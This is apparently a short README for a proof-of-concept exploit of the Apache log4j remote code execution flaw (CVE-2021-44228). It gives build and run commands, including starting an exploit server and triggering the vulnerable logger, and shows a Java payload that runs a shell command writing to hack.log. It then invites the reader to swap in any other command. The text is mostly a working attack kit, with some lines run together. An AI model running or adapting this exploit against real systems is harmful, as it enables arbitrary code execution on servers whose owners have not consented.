
CVE-2021-44228 - Apache log4j RCE quick test
./build.sh
./start-log4j-rce-server.sh
java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j
Check if you get logs in hack.log from current folderString[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };apache-log4j-poc/src/main/java/Exploit.java
to whatever you like then rebuild and run test